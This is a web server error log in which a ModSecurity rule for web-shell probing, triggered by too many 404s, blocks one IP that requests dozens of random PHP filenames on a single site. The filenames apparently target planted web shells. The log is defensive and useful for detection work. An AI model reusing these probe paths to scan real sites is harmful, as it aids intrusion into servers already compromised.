[Thu Apr 16 19:12:35.088884 2026] [:error] [pid 57538:tid 57614] [client 172.213.0.122:29172] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xltt.php"] [unique_id "aeDEI8uMaiEF5SVR2BfDUQAAAIw"]
[Thu Apr 16 19:12:36.038361 2026] [:error] [pid 49094:tid 49109] [client 172.213.0.122:29137] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aeDEJDbDwvcXorHR_MyROgAAAU0"]
[Thu Apr 16 19:12:37.578724 2026] [:error] [pid 57537:tid 57596] [client 172.213.0.122:6141] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aeDEJVVQRS8nm73ENAmhzAAAAFU"]
[Thu Apr 16 19:12:38.471323 2026] [:error] [pid 29603:tid 29620] [client 172.213.0.122:6049] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aeDEJlfGOR6fpTWUAzpz9AAAAQ8"]
[Thu Apr 16 19:12:39.365778 2026] [:error] [pid 57639:tid 57663] [client 172.213.0.122:6085] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aeDEJ6MCQoTw7TsxWuk_MgAAANE"]
[Thu Apr 16 19:12:41.991252 2026] [:error] [pid 29603:tid 29618] [client 172.213.0.122:6070] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fyflv.php"] [unique_id "aeDEKVfGOR6fpTWUAzpz-AAAAQ0"]
[Thu Apr 16 19:12:43.748971 2026] [:error] [pid 57537:tid 57586] [client 172.213.0.122:6095] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fyflv.php"] [unique_id "aeDEK1VQRS8nm73ENAmh0wAAAEs"]
[Thu Apr 16 19:12:44.689794 2026] [:error] [pid 57538:tid 57617] [client 172.213.0.122:6100] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fyflv.php"] [unique_id "aeDELMuMaiEF5SVR2BfDYQAAAI8"]
[Thu Apr 16 19:12:46.713319 2026] [:error] [pid 57538:tid 57607] [client 172.213.0.122:29125] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fyflv.php"] [unique_id "aeDELsuMaiEF5SVR2BfDZgAAAIU"]
[Thu Apr 16 19:12:50.747992 2026] [:error] [pid 57537:tid 57592] [client 172.213.0.122:29131] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-942.php"] [unique_id "aeDEMlVQRS8nm73ENAmh6wAAAFE"]
[Thu Apr 16 19:12:52.568022 2026] [:error] [pid 57639:tid 57652] [client 172.213.0.122:6133] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-942.php"] [unique_id "aeDENKMCQoTw7TsxWuk_SAAAAMY"]
[Thu Apr 16 19:12:53.280675 2026] [:error] [pid 57639:tid 57661] [client 172.213.0.122:6118] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-942.php"] [unique_id "aeDENaMCQoTw7TsxWuk_SgAAAM8"]
[Thu Apr 16 19:12:54.709265 2026] [:error] [pid 57639:tid 57646] [client 172.213.0.122:29158] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-942.php"] [unique_id "aeDENqMCQoTw7TsxWuk_WwAAAMA"]
[Thu Apr 16 19:13:39.815777 2026] [:error] [pid 57639:tid 57670] [client 172.213.0.122:29136] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iindv.php"] [unique_id "aeDEY6MCQoTw7TsxWulAKQAAANg"]
[Thu Apr 16 19:13:42.243219 2026] [:error] [pid 57639:tid 57658] [client 172.213.0.122:6045] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iindv.php"] [unique_id "aeDEZqMCQoTw7TsxWulAMAAAAMw"]
[Thu Apr 16 19:13:43.508792 2026] [:error] [pid 57639:tid 57662] [client 172.213.0.122:29157] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iindv.php"] [unique_id "aeDEZ6MCQoTw7TsxWulAOgAAANA"]
[Thu Apr 16 19:13:46.016780 2026] [:error] [pid 7880:tid 7894] [client 172.213.0.122:29123] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iindv.php"] [unique_id "aeDEaqaezm4fSGc0yUJ9rwAAAYk"]
[Thu Apr 16 19:13:46.755519 2026] [:error] [pid 49094:tid 49116] [client 172.213.0.122:29162] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maintura.php"] [unique_id "aeDEajbDwvcXorHR_MySCAAAAVQ"]
[Thu Apr 16 19:13:48.123481 2026] [:error] [pid 57538:tid 57613] [client 172.213.0.122:29128] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maintura.php"] [unique_id "aeDEbMuMaiEF5SVR2BfDpQAAAIs"]
[Thu Apr 16 19:13:49.929143 2026] [:error] [pid 57639:tid 57649] [client 172.213.0.122:6132] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maintura.php"] [unique_id "aeDEbaMCQoTw7TsxWulAPwAAAMM"]
[Thu Apr 16 19:13:52.112835 2026] [:error] [pid 57639:tid 57655] [client 172.213.0.122:29175] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maintura.php"] [unique_id "aeDEcKMCQoTw7TsxWulAQAAAAMk"]
[Thu Apr 16 19:13:52.968204 2026] [:error] [pid 57537:tid 57587] [client 172.213.0.122:6103] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "aeDEcFVQRS8nm73ENAmiCQAAAEw"]
[Thu Apr 16 19:13:54.989173 2026] [:error] [pid 57639:tid 57653] [client 172.213.0.122:6091] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "aeDEcqMCQoTw7TsxWulASQAAAMc"]
[Thu Apr 16 19:13:56.879885 2026] [:error] [pid 57639:tid 57646] [client 172.213.0.122:6097] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "aeDEdKMCQoTw7TsxWulATgAAAMA"]
[Thu Apr 16 19:13:57.915755 2026] [:error] [pid 57537:tid 57575] [client 172.213.0.122:6017] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "aeDEdVVQRS8nm73ENAmiDQAAAEA"]
[Thu Apr 16 19:13:58.975664 2026] [:error] [pid 49094:tid 49115] [client 172.213.0.122:6089] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "aeDEdjbDwvcXorHR_MyS4QAAAVM"]
[Thu Apr 16 19:13:59.865524 2026] [:error] [pid 29603:tid 29614] [client 172.213.0.122:6122] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "aeDEd1fGOR6fpTWUAzp0PgAAAQk"]
[Thu Apr 16 19:14:00.612564 2026] [:error] [pid 49094:tid 49113] [client 172.213.0.122:6096] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "aeDEeDbDwvcXorHR_MyS6AAAAVE"]
[Thu Apr 16 19:14:01.924967 2026] [:error] [pid 29603:tid 29608] [client 172.213.0.122:6083] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "aeDEeVfGOR6fpTWUAzp0QgAAAQM"]
[Thu Apr 16 19:14:03.748769 2026] [:error] [pid 57639:tid 57663] [client 172.213.0.122:6137] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-220.php"] [unique_id "aeDEe6MCQoTw7TsxWulAfAAAANE"]
[Thu Apr 16 19:14:04.694268 2026] [:error] [pid 7880:tid 7908] [client 172.213.0.122:29140] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-220.php"] [unique_id "aeDEfKaezm4fSGc0yUJ98AAAAZc"]
[Thu Apr 16 19:14:05.994323 2026] [:error] [pid 57537:tid 57582] [client 172.213.0.122:29147] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-220.php"] [unique_id "aeDEfVVQRS8nm73ENAmiFAAAAEc"]
[Thu Apr 16 19:14:08.562604 2026] [:error] [pid 49094:tid 49102] [client 172.213.0.122:6026] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-220.php"] [unique_id "aeDEgDbDwvcXorHR_MyS_gAAAUY"]
[Thu Apr 16 19:14:12.578338 2026] [:error] [pid 57538:tid 57609] [client 172.213.0.122:6136] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "aeDEhMuMaiEF5SVR2BfDxgAAAIc"]
[Thu Apr 16 19:14:15.004401 2026] [:error] [pid 57639:tid 57660] [client 172.213.0.122:29159] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "aeDEh6MCQoTw7TsxWulAtgAAAM4"]
[Thu Apr 16 19:14:17.512802 2026] [:error] [pid 7880:tid 7889] [client 172.213.0.122:29161] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "aeDEiaaezm4fSGc0yUJ-AgAAAYQ"]
[Thu Apr 16 19:14:18.235611 2026] [:error] [pid 57639:tid 57666] [client 172.213.0.122:29182] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "aeDEiqMCQoTw7TsxWulAvgAAANQ"]
[Thu Apr 16 19:14:19.380064 2026] [:error] [pid 57639:tid 57667] [client 172.213.0.122:6125] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fone1.php"] [unique_id "aeDEi6MCQoTw7TsxWulAwgAAANU"]
[Thu Apr 16 19:14:20.035661 2026] [:error] [pid 57639:tid 57664] [client 172.213.0.122:29132] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fone1.php"] [unique_id "aeDEjKMCQoTw7TsxWulAyAAAANI"]
[Thu Apr 16 19:14:20.876438 2026] [:error] [pid 29603:tid 29615] [client 172.213.0.122:6110] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fone1.php"] [unique_id "aeDEjFfGOR6fpTWUAzp0XwAAAQo"]
[Thu Apr 16 19:14:21.657251 2026] [:error] [pid 49094:tid 49111] [client 172.213.0.122:29138] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fone1.php"] [unique_id "aeDEjTbDwvcXorHR_MyTHAAAAU8"]
[Thu Apr 16 19:14:22.535635 2026] [:error] [pid 57536:tid 57558] [client 172.213.0.122:5978] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aeDEjiQU4faGja6jpDtF2wAAAAo"]
[Thu Apr 16 19:14:24.342490 2026] [:error] [pid 49094:tid 49105] [client 172.213.0.122:29160] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aeDEkDbDwvcXorHR_MyTLAAAAUk"]
[Thu Apr 16 19:14:25.327588 2026] [:error] [pid 29603:tid 29611] [client 172.213.0.122:6143] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aeDEkVfGOR6fpTWUAzp0ZQAAAQY"]
[Thu Apr 16 19:14:27.410035 2026] [:error] [pid 49094:tid 49111] [client 172.213.0.122:29177] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aeDEkzbDwvcXorHR_MyTPQAAAU8"]
[Thu Apr 16 19:14:28.450568 2026] [:error] [pid 7880:tid 7901] [client 172.213.0.122:29169] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeDElKaezm4fSGc0yUJ-HAAAAZA"]
[Thu Apr 16 19:14:30.439461 2026] [:error] [pid 57639:tid 57649] [client 172.213.0.122:29154] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeDElqMCQoTw7TsxWulA4QAAAMM"]
[Thu Apr 16 19:14:31.272797 2026] [:error] [pid 49094:tid 49113] [client 172.213.0.122:29174] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeDElzbDwvcXorHR_MyTTgAAAVE"]
[Thu Apr 16 19:14:35.432869 2026] [:error] [pid 49094:tid 49109] [client 172.213.0.122:6109] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeDEmzbDwvcXorHR_MyTZAAAAU0"]
[Thu Apr 16 19:15:22.044120 2026] [:error] [pid 49094:tid 49097] [client 172.213.0.122:6105] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeDEyjbDwvcXorHR_MyT0wAAAUE"]
[Thu Apr 16 19:15:23.484918 2026] [:error] [pid 57537:tid 57576] [client 172.213.0.122:29134] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeDEy1VQRS8nm73ENAmiXQAAAEE"]
[Thu Apr 16 19:15:24.122008 2026] [:error] [pid 49094:tid 49103] [client 172.213.0.122:29141] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeDEzDbDwvcXorHR_MyT2wAAAUc"]
[Thu Apr 16 19:15:24.992652 2026] [:error] [pid 57536:tid 57551] [client 172.213.0.122:5975] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeDEzCQU4faGja6jpDtGSwAAAAM"]
[Thu Apr 16 19:15:25.871525 2026] [:error] [pid 57639:tid 57653] [client 172.213.0.122:29139] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "aeDEzaMCQoTw7TsxWulB1QAAAMc"]
[Thu Apr 16 19:15:26.516353 2026] [:error] [pid 57639:tid 57668] [client 172.213.0.122:6058] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "aeDEzqMCQoTw7TsxWulB1gAAANY"]
